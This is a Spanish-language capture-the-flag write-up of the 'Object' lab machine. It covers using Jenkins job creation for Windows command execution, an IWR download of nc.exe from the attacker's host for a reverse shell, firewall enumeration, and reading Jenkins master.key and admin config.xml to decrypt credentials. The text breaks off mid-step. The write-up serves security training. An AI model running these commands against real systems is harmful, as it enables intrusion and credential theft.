# Object

`Object` es una máquina Windows que ejecuta el servidor de automatización `Jenkins`. Se descubre que el servidor de automatización tiene habilitado el registro y el usuario registrado puede crear compilaciones. Las compilaciones se pueden activar de forma remota configurando un token de API. El punto de apoyo se obtiene descifrando los secretos de Jenkins. Se descubre que el usuario de punto de apoyo tiene permisos `ForceChangePassword` en otro usuario llamado `smith`. Este abuso de privilegio nos permite obtener acceso a `smith`. `smith` tiene permisos `GenericWrite` en `maria`. Abusar de este privilegio nos permite obtener acceso al servidor como este usuario. `maria` tiene permisos `WriteOwner` en el grupo `Domain Admins`, cuyos privilegios explotamos para obtener un shell SYSTEM.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FWYIiSr2kospWu9s9S57l%2FObject.png?alt=media&#x26;token=a51f55a4-92cf-4e9e-a695-f4be788e62f9" alt="" width="563"><figcaption></figcaption></figure>

## Reconnaissance

Realizaremos un reconocimiento con **nmap** para ver los puertos que están expuestos en la máquina **Object**.

```bash
nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.132 -oG allPorts
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FVrS2AYTXvizpBGV08ulV%2F3076_vmware_SB7xcWeYte.png?alt=media&#x26;token=56f46aee-eaae-4023-9fd3-4a561e1d5752" alt="" width="563"><figcaption></figcaption></figure>

Lanzaremos scripts de reconocimiento sobre el puerto encontrado y lo exportaremos en formato oN y oX.

```bash
nmap -sCV -p80,5985,8080 10.10.11.132 -A -oN targeted -oX targetedXML
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FEQc1Me2IElbxA7npDWyH%2F3077_vmware_yVRgLpiEU5.png?alt=media&#x26;token=00081a18-5004-4a9f-b021-54cb97c704e3" alt="" width="563"><figcaption></figcaption></figure>

Transformaremos el archivo XML obtenido en el resultado de **nmap** y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.

```bash
xsltproc targetedXML > index.html

python3 -m http.server 80
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FpmNNcq5F7zadSF1DzElV%2F3078_vmware_ilICv89IDy.png?alt=media&#x26;token=aa6a22cf-1467-4e3d-963c-34c757ea41a8" alt=""><figcaption></figcaption></figure>

Accederemos a[ http://localhost](http://localhost) y comprobaremos el resultado en un formato más cómodo para su análisis.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FjFkGFwzyokaAU14Mh2YK%2F3079_vmware_vsPL3rISto.png?alt=media&#x26;token=11440e5e-0eaa-490f-bb2c-6bb2fd552c9e" alt=""><figcaption></figcaption></figure>

Debido que no disponemos de ningún puerto como SMB, LDAP para enumerar al equipo y ver si se trata de un Domain Controller o de un equipo cliente de un dominio, a través de **netexec** haremos la validación sobre WinRM que hemos comprobado que estaba expuesto (puerto 5985).

```bash
netexec winrm 10.10.11.132
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FpNJyuxuJiMGA5anKAgl7%2F3080_vmware_wdK1JBwPKf.png?alt=media&#x26;token=9e126ae4-4239-4375-8266-26aafd549984" alt=""><figcaption></figcaption></figure>

Procederemos a añadir las entradas en nuestro archivo **/etc/hosts**

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FOkxt2f0RUStfDdM8avrt%2F3081_vmware_wEjdfia9Mq.png?alt=media&#x26;token=9d9cb049-cd4f-4563-86b4-2d14c8b68c3f" alt=""><figcaption></figcaption></figure>

## Webs Enumeration

Procederemos a realizar una enumeración de las páginas webs que hemos encontrado expuestas (8o y 8080).

Probaremos de aplicar Virtual Hosting para verificar si los sitios webs son diferentes accediendo directamente desde la dirección IP o el nombre DNS, en este caso no se aplica Virtual Hosting.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FfCBMZ83YZI8728vbHwge%2F3082_vmware_4KLbOfZf2q.png?alt=media&#x26;token=a80b348c-b46a-4dee-a6c1-9b4e2cd09807" alt=""><figcaption></figcaption></figure>

A través de la herramienta de **whatweb** revisaremos las tecnologías que utilizan estas páginas web.

```bash
whatweb http://object.local

whatweb http://object.local:8080
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FehbGnu8h28eN0bLS6MOw%2F3083_vmware_IZveSMe9yf.png?alt=media&#x26;token=3c87b288-c155-4e75-841c-50cc78d56e42" alt=""><figcaption></figcaption></figure>

## Jenkins Exploitation

Procederemos a acceder a [http://object.local:8080](http://object.local:8080) y verificaremos que se trata de un sitio web sobre Jenkins.

**Jenkins** es una herramienta de integración continua y entrega continua (**CI/CD**) utilizada en el desarrollo de software para automatizar la construcción, prueba y despliegue de aplicaciones. Es de código abierto y permite a los desarrolladores implementar proyectos de manera más rápida y confiable mediante la automatización de procesos repetitivos.

Probaremos de autenticarnos con credenciales por defecto sin éxito ninguno.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FoeSCHjOnL22gRSp0V5hw%2F3084_vmware_Z9Tsy8z6NA.png?alt=media&#x26;token=50d3dc1b-f234-4612-8340-efd2cd714e61" alt="" width="364"><figcaption></figcaption></figure>

Revisamos en Internet y verificamos de las credenciales por defecto de Jenkins, pero tampoco nos permite acceder.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FNYT7dbvr283JiGF6MgAu%2F3085_firefox_OJxJ2uVR56.png?alt=media&#x26;token=89efd186-d152-480f-b94e-07f741f9915b" alt=""><figcaption></figcaption></figure>

Verificamos que tenemos una opción para crear una nueva cuenta en Jenkins. Procederemos a crearnos una cuenta.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F4WDKnThlvx3XTEFM83AA%2F3086_vmware_MzHPy4ZAqb.png?alt=media&#x26;token=8afd2dce-6fd2-436a-8b96-cfe4baba2fd9" alt="" width="401"><figcaption></figcaption></figure>

Verificamos que hemos ganado acceso al panel de Jenkins con el usuario recién creado, el siguiente paso será enumerar Jenkins en busca de información relevante.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FaHUuGN9bKihSMxrm7IwZ%2F3087_vmware_qGtnztpcmG.png?alt=media&#x26;token=51c44698-eb28-4e3f-8a16-d171eda0a83d" alt=""><figcaption></figcaption></figure>

Revisando el apartado de "People" vemos que aparece nuestro usuario recién creado y el del usuario "admin".

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FtWEhp9LmNpv4BWYWfYGg%2F3092_vmware_uolQeMwTpu.png?alt=media&#x26;token=8cc06fdc-5469-4feb-bd61-57190146b8dc" alt=""><figcaption></figcaption></figure>

Si probamos de acceder a [http://object.local:8080/manage](http://object.local:8080/manage) comprobamos que no disponemos de permisos de Administración.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FjqwaXFfKhhiIdLKKQIUN%2F3093_vmware_ZjKwv4sTXn.png?alt=media&#x26;token=371a7e27-2fba-4096-8f2f-0b1fb2823f7e" alt=""><figcaption></figcaption></figure>

Volviendo al panel de Dashboard, vemos que podemos crear una nueva tarea en Jenkins.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FhVi82BG5SPMkv4BLRLbT%2F3088_vmware_ZR4qP8UxZA.png?alt=media&#x26;token=02c36b80-a62e-4cc4-82c1-a13b0eb87f64" alt="" width="563"><figcaption></figcaption></figure>

Al intentar crear una nueva tarea, nos permite seleccionar diferentes modos. En nuestro caso, probaremos con la primera opción de "Freestyle project" y le asignaremos de nombre al trabajo "test".

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FEHZlIUXjMblO6NfmrLan%2F3089_vmware_LO1Xbl9I4G.png?alt=media&#x26;token=6d6b3bea-87c4-4e15-a458-f197c29b79ba" alt="" width="563"><figcaption></figcaption></figure>

Comprobamos que estas son las opciones que nos proporciona Jenkins para la creación de un nuevo trabajo.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FxKCuGrLA0hHvf3UA7NwP%2F3094_vmware_982EaN8vWl.png?alt=media&#x26;token=59c7a15d-ee6c-4b7b-b9c1-84f36e66ea8a" alt=""><figcaption></figcaption></figure>

Verificamos que en el apartado de "Build", nos aparece una serie de opciones la cual la que nos parece más interesante es la de "Execute Windows batch command", ya que parece ser que a través de la creación de la tarea en Jenkins, podríamos llegar a indicar alguna instrucción para que sea ejecutada en la máquina víctima.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FEN4agnVtYKKqyiTku4Yj%2F3095_vmware_rwu2vXzG0E.png?alt=media&#x26;token=a4ae38a3-45af-4a56-ae6c-64d9dbce6de3" alt=""><figcaption></figcaption></figure>

Indicaremos en el apartado de "command" que nos ejecute la siguiente instrucción para verificar posteriormente en el resultado del output si se ha logrado ejecutar el comando indicado.

Una vez configurado, procederemos a guardar el trabajo dándole a "Save"

```powershell
cmd / "whoami"
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FJaPFnHRhXwSd8kTsxBVB%2F3090_vmware_kCQg9rVQts.png?alt=media&#x26;token=90bf7afd-92da-4da4-ad21-f3347ee62873" alt="" width="515"><figcaption></figcaption></figure>

Revisamos que efectivamente el proyecto se ha creado correctamente, pero no nos aparece ninguna opción/botón para iniciar el trabajo.

Revisando en la siguiente respuesta de [StackOverflow](https://stackoverflow.com/questions/41108149/build-now-option-is-not-coming-for-job-in-jenkins/41108207#41108207), nos indica que posiblemente sea debido a la restricción de permisos que dispone nuestro usuario creado.

Existen dos métodos para intentar evitar esta restricción e iniciar el proyecto de otra manera.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F7jEsufFrznuSmFuw5ypg%2F3091_vmware_kAG5mfpH77.png?alt=media&#x26;token=5d5b7591-7968-45f3-9f30-9d393dbe5aa1" alt="" width="563"><figcaption></figcaption></figure>

### Creating a New Job + Abusing Build Periodically (cron jobs)

La primera opción para que el proyecto se ejecute sin tener que nosotros darle al botón de "Build", es a través de Cron Jobs.

A la hora de crear la tarea, en el apartado de "Build Triggers", nos permite la opción de seleccionar "Build periodically" para que se ejecute el trabajo de manera periódica.

Por lo tanto, nuestro objetivo es que se ejecute para verificar si la instrucción es ejecutada en el equipo. Para ello, especificaremos que se ejecute a cada minuto indicando: \* \* \* \* \*

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F7qHqJYqWfP4OqX23ITqS%2F3096_vmware_6hrzrBUOG1.png?alt=media&#x26;token=a34d35ac-61f0-4c46-8d38-c4e02a06a35d" alt=""><figcaption></figcaption></figure>

Al pasar el minuto después de haber guardado nuevamente el proyecto con la tarea programada, verificamos que se ha ejecutado correctamente el trabajo.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FwbF1HWKaddOylOR0OxSR%2F3097_vmware_VZ5pybdrRb.png?alt=media&#x26;token=ff9a8a77-3ddf-464e-b992-33a0713f678f" alt="" width="563"><figcaption></figcaption></figure>

Al acceder a [http://object.local:8080/job/test/1/console](http://object.local:8080/job/test/1/console), verificamos que efectivamente el comando que habíamos establecido se ha ejecutado en el servidor . Tambén hemos podido ejecutarlo sin tener que arrancar el proyecto de manera manual (debido a los permisos) a través de las tareas Cron.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FdTNYD76mKFbgXxH6C7i7%2F3098_vmware_HJ9yfdRC9g.png?alt=media&#x26;token=0bf63bd8-fb39-4658-8d1c-a3139e6f594f" alt="" width="563"><figcaption></figcaption></figure>

### Abusing Trigger builds remotely using Token

La mejor manera para eludior la restricción del permiso por el cual no tengamos disponible el botón "Build" para iniciar el proyecto, es a través de la opción "Authentication Token".

Tal y como indica Jenkins, podemos crear un nuevo Token el cual al acceder a _JENKINS\_URL/job/test/build=token=TOKEN\_NAME_, el proyecto se ejecutará.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FBOOosyEc2jZ4W3AknVAG%2F3099_vmware_pBN6iSYLpC.png?alt=media&#x26;token=ec4d77fb-0950-4554-ab7d-1fba539d2da0" alt=""><figcaption></figcaption></figure>

Por lo tanto, el objetivo es utilizar la herramienta de **cURL** para hacer la petición a través de GET para que el proyecto sea ejecutado remotamente y nosotros podamos controlar cuando ejecutar el proyecto.

Esto es más práctico que la primera opción, debido que podemos controlar cuando ejecutarlo, etc.

Verificamos que al tratar de hacer el **cURL** tal y como nos indicaba Jenkins, nos aparece el mensaje de "Authenticacion required".

```bash
curl -s -X GET "http://object.local:8080/job/test/build/?token=myToken" | html2text
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2Fvcg97UAlkZ0CsRtvyZ2H%2F3100_vmware_ywxjAFZjf5.png?alt=media&#x26;token=811d0b75-509d-4c0b-93d9-deca914559bf" alt=""><figcaption></figcaption></figure>

Revisando en Internet sobre este mensaje de error para ejecutar el proyecto de manera remota de Jenkins, nos encontramos con el siguiente post donde explican como realizar la configuración con **cURL**. [Triggering Jenkins builds by URL](https://humanwhocodes.com/blog/2015/10/triggering-jenkins-builds-by-url/)

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FCJm1EjYdJMd03LOE7pLq%2F3101_firefox_8OdNA91YmG.png?alt=media&#x26;token=7c3a348a-be86-4503-998b-713eca33df76" alt=""><figcaption></figcaption></figure>

El primer paso es obtener un API Token de nuestro propio usuario, para ello accederemos a [http://object.local:8080/user/\<user>/configure](http://object.local:8080/user/%3Cuser%3E/configure) y generaremos un nuevo Token que deberemos copiarnos en el portapapeles.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FODq8nWLPbdTtKWb4c133%2F3102_vmware_BFqQpsxVdI.png?alt=media&#x26;token=f1e6eb28-3b05-43ca-b201-72e6c9401001" alt="" width="563"><figcaption></figcaption></figure>

Cargaremos una nueva instrucción en el proyecto, en este caso para que se ejecute un "ipconfig".

```powershell
cmd / c "ipconfig"
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2Fy9RuMAQ9xRIyoxu4XGSj%2F3103_vmware_fcMfPFUu4C.png?alt=media&#x26;token=51558683-50d9-4892-abca-622eb5fb4bc3" alt=""><figcaption></figcaption></figure>

Realizaremos el build de nuestro proyecto remotamente con nuestro usuario, el token de nuestro usuario que hemos generado y el token creado el proyecto.

{% code overflow="wrap" %}
```bash
curl -s -X GET "http://gzzcoo:113c955570ab537e5efd71bb3c2389c12c@object.local:8080/job/test/build/?token=myToken"
```
{% endcode %}

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FtaZIlHM67DEltoYw1n8S%2F3104_vmware_aSZQrnngjl.png?alt=media&#x26;token=b8af5391-1358-4bb7-8d5f-cce3bd7fef93" alt=""><figcaption></figcaption></figure>

Verificaremos que si accedemos nuevamente a [http://object.local:8080/job/test/\<id>/console](http://object.local:8080/job/test/%3Cid%3E/console) verificaremos que el proyecto se ha ejecutado y hemos recibido el output de la ejecución del comando "ipconfig".

Por lo tanto, el método para ejecutar los comandos de manera más eficiente será modificar y guardar el proyecto para que ejecute el comando que establezcamos, enviaremos la solicitud del build remoto con **cURL** e iremos ingresando incrementando el número del build por cada vez que enviemos el proyecto para visualziar el resultado.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FEujTMCBMGLItN392uud7%2F3105_vmware_3DTfEsHNDP.png?alt=media&#x26;token=6546fa8e-76aa-41bf-a787-835f6435fc79" alt="" width="563"><figcaption></figcaption></figure>

## Initial access - Shell as oliver

Probaremos de compartirnos el binario de "nc.exe" para posteriormente entablarnos una Reverse Shell hacía el equipo.

```bash
ls

python3 -m http.server 80
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FKIMC40ov9Rb8kBrhz62i%2F3106_vmware_AbiEGthayi.png?alt=media&#x26;token=c1e1f374-95a5-4903-872b-1ccb44ae1447" alt=""><figcaption></figcaption></figure>

Modificaremos el proyecto para que ejecute el siguiente comando, para descargarnos el binario de **nc.exe** que estamos compartiendo desde nuestro servidor web de Kali.

Verificamos que en el output de la salida de la ejecución del comando, nos devuelve error de conexión "_Unable to connect to the remote server_", lo cual nos hace pensar que hay algunas reglas de Firewall que nos están bloqueando la salida cualquier tráfico en el equipo.

```powershell
cmd /c "PowerShell -c IWR -Uri http://10.10.16.7/nc.exe -Outfile C:\ProgramData\nc.exe"
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FKYeBWM2xXDohbMgituqV%2F3109_vmware_5TWfpIrlDT.png?alt=media&#x26;token=e7fa439a-b2b4-4391-afbf-bb31f8da94ba" alt="" width="563"><figcaption></figcaption></figure>

### Firewall Enumeration Techniques

A través del siguiente comando, listamos las reglas del firewall que bloquean el tráfico saliente y que están habilitadas. Esto nos permite identificar las restricciones que están configuradas para el tráfico hacia el exterior, ayudándonos a comprender mejor cómo se gestionan las conexiones salientes en el sistema.

Verificamos que el resultado obtenido en el output nos indica que existe una regla de Firewall llamada "BlockOutboundDC" que no permite la salida de tráfico hacia el exterior, por ese motivo nos rechazaba la conexión anteriormente.

```powershell
powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2Fe4AlaouShupHTwpFm7Vk%2F3111_vmware_ZcIpBDA0lm.png?alt=media&#x26;token=78be1887-1531-461b-95cd-0c91cad565de" alt="" width="563"><figcaption></figcaption></figure>

El siguiente comando que ejecutamos está diseñado para listar las reglas del firewall que bloquean el tráfico saliente, mostrando detalles adicionales como el protocolo, puertos locales y remotos, direcciones remotas y otros atributos. Si en los campos como **LocalPort**, **RemotePort** o **RemoteAddress** aparece "Any", esto indica que la regla no está restringida a un puerto o dirección específica, sino que aplica a todo el tráfico saliente que cumpla con las condiciones básicas de la regla (en este caso, dirección **Outbound** y acción **Block**).

Esto significa que esas reglas están configuradas para bloquear cualquier tráfico saliente sin discriminar por puerto o dirección, lo que puede implicar restricciones muy amplias en el sistema.

{% code overflow="wrap" %}
```powershell
powershell -c "Get-NetFirewallRule -Direction Outbound -Action Block -Enabled True | Format-Table -Property Name,DisplayName,DisplayGroup,@{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}},@{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Enabled,Profile,Direction,Action"
```
{% endcode %}

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FlMjhjI6yIdEUrP3jNTpO%2Fimage.png?alt=media&#x26;token=49f76e46-28af-4ab4-9ff6-1a93c1484d44" alt="" width="514"><figcaption></figcaption></figure>

A través del siguiente comando, enumeramos todas las reglas de Firewall que estén configuradas para permitir el tráfico saliente (Outbound), que se encuentren habilitadas y cuya acción sea permitir (Allow).

En el resultado obtenido, verificamos que existe una regla configurada para permitir tráfico ICMP hacia el exterior (Outbound).

```powershell
powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2Fe0OYYItDRRc1IYvQsgkX%2F3114_vmware_jEDNlWHloA.png?alt=media&#x26;token=3381c7d4-7aad-4282-adb3-bac7e18f4772" alt="" width="514"><figcaption></figcaption></figure>

Configuraremos el proyecto para que ejecute el comando ping hacia nuestra Kali y con _**tcpdump**_ procederemos a revisar si recibimos los paquetes ICMP.

```bash
powershell -c "ping 10.10.16.7"

tcpdump -i tun0 icmp -n
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F9E2UwfjqvPco4VLsb2SF%2F3116_vmware_vKv813Fb1M.png?alt=media&#x26;token=7a19be50-a5c7-4127-ab3d-f43777d4585e" alt=""><figcaption></figcaption></figure>

### Jenkins Password Decrypt

Buscando vías potenciales para obtener más privilegios o nuevas credenciales, debido que nos encontramos en un Jenkins, lo que pensamos es en intentar dumpear las credenciales almacenadas y posteriormente desencriptarlas.

Para ello utilizamos la siguiente guía en la cual nos explicaba paso por paso como realizar este dump de las credenciales de Jenkins. [Accessing and Dumping Jenkins Credentials](https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials)

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2Fgz3kbrO1d9xxy3VXaFUd%2Fimage.png?alt=media&#x26;token=8157670f-3ebf-49a9-8cec-f59476968f3c" alt="" width="563"><figcaption></figcaption></figure>

Dado que nos encontramos en la ruta `C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test` procederemos a listar dos directorios anteriores para ver qué contenido dispone.

En el output mostrado, verificamos que nos aparece los directorios "users" y "secrets" los cuales necesitaremos para intentar buscar los archivos correspondientes para desencriptar la contraseña de Jenkins del usuario "admin".

```powershell
powershell -c "ls ../../"
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2Fz5gL2EJzPgHL3b32Ysox%2F3118_vmware_LdObwgA3O8.png?alt=media&#x26;token=5c7fff60-968e-4a66-a945-e11595b543ef" alt="" width="449"><figcaption></figcaption></figure>

Al revisar el directorio `/users` verificamos que nos aparecen dos usuarios creados, el del "admin" y el que hemos creado anteriormente. El usuario que nos interesa obtener su "config.xml" es el del usuario "admin".

```powershell
powershell -c "ls ../../users"
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FlXVYPtoEGrOupb5lBliA%2F3119_vmware_LC4OVt2yzO.png?alt=media&#x26;token=bd094da2-c19e-4304-b4d6-04aa6a39f5ff" alt=""><figcaption></figcaption></figure>

Al acceder al directorio `/users/admin_17207690984073220035` verificamos que vemos el archivo que necesitamos "config.xml".

```powershell
powershell -c "ls ../../users/admin_17207690984073220035"
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FOLEMeSfQtOvXiUNi53GG%2F3120_vmware_zpFZ3qpCcf.png?alt=media&#x26;token=fd228dc5-3e77-4327-9509-a229274b4ec0" alt=""><figcaption></figcaption></figure>

Procederemos a verificar el contenido del archivo "config.xml" a través del siguiente comando.

```powershell
powershell -c "cat ../../users/admin_17207690984073220035/config.xml"
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FXFj1IP47cHSx7ZFu2OSA%2F3121_vmware_Ep2rF13jhC.png?alt=media&#x26;token=bd5704a8-4d95-49be-a135-8873eaf67eb0" alt="" width="516"><figcaption></figcaption></figure>

Guardaremos el contenido del archivo de manera local en nuestra Kali.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FOEOkGN5FS1Mo9w1wjOD7%2F3122_vmware_vxdc3UidG2.png?alt=media&#x26;token=21f0652e-e04c-4703-a56d-0ed034b6082f" alt=""><figcaption></figcaption></figure>

A continuación, procederemos a listar el directorio `/secrets` y comprobamos que disponemos del archivo "hudson.util.Secret" y "master.key" necesarios para la desencriptación de la contraseña de Jenkins del usuario "admin".

```powershell
powershell -c "ls ../../secrets"
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FF7RK7QWQsylMTR4jTHnZ%2F3123_vmware_mn6F3oMxiD.png?alt=media&#x26;token=b39b12be-4a4a-41b2-981e-cdd052ed06f7" alt=""><figcaption></figcaption></figure>

Listaremos el contenido del archivo "master.key" a través de la siguiente instrucción.

```powershell
powershell -c "cat ../../secrets/master.key"
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FBmoEVzAfUt1A3t3XrmZl%2F3124_vmware_V7FLXbKmJA.png?alt=media&#x26;token=5e5c2a1d-951e-4796-a0e9-74fbf03ad0f9" alt=""><figcaption></figcaption></figure>

Copiaremos el contenido para obtener el archivo de manera local en nuestra Kali, eliminaremos cualquier salto de línea innecesario y verificaremos que disponemos del contenido del archivo "master.key" de manera local.

```bash
wc -c master.key

cat master.key | tr -d '\n' | wc -c

cat master.key | tr -d '\n' | sponge master.key

wc -c master.key

catnp  master.key ; echo
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FWzUcypVyJZeiqO8Vy1rt%2F3125_vmware_Pu2l9R3iLu.png?alt=media&#x26;token=21e545a1-abaf-4b05-84ec-c3253dfeb43c" alt=""><figcaption></figcaption></figure>

Procederemos a intentar comprobar el contenido del archivo "hudson.util.Secret" y al intentar listarlo con "cat", nos aparecen caracteres ilegibles, lo cual parece indicar que el archivo se trata de un binario, por lo tanto, a través de un "cat" no se puede llegar a comprobar su contenido.

```powershell
powershell -c "cat ../../secrets/hudson.util.Secret"
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FlD5PrKNDVyMUvzZhzlXs%2F3126_vmware_YIxYbEg3X2.png?alt=media&#x26;token=79d80bce-e1e2-41a7-a049-113a0f61e915" alt=""><figcaption></figcaption></figure>

Por lo tanto, lo que realizaremos es mostrar el contenido del archivo pero codificado en Base64 para posteriormente descodificarlo en nuestro equipo local.

{% code overflow="wrap" %}
```powershell
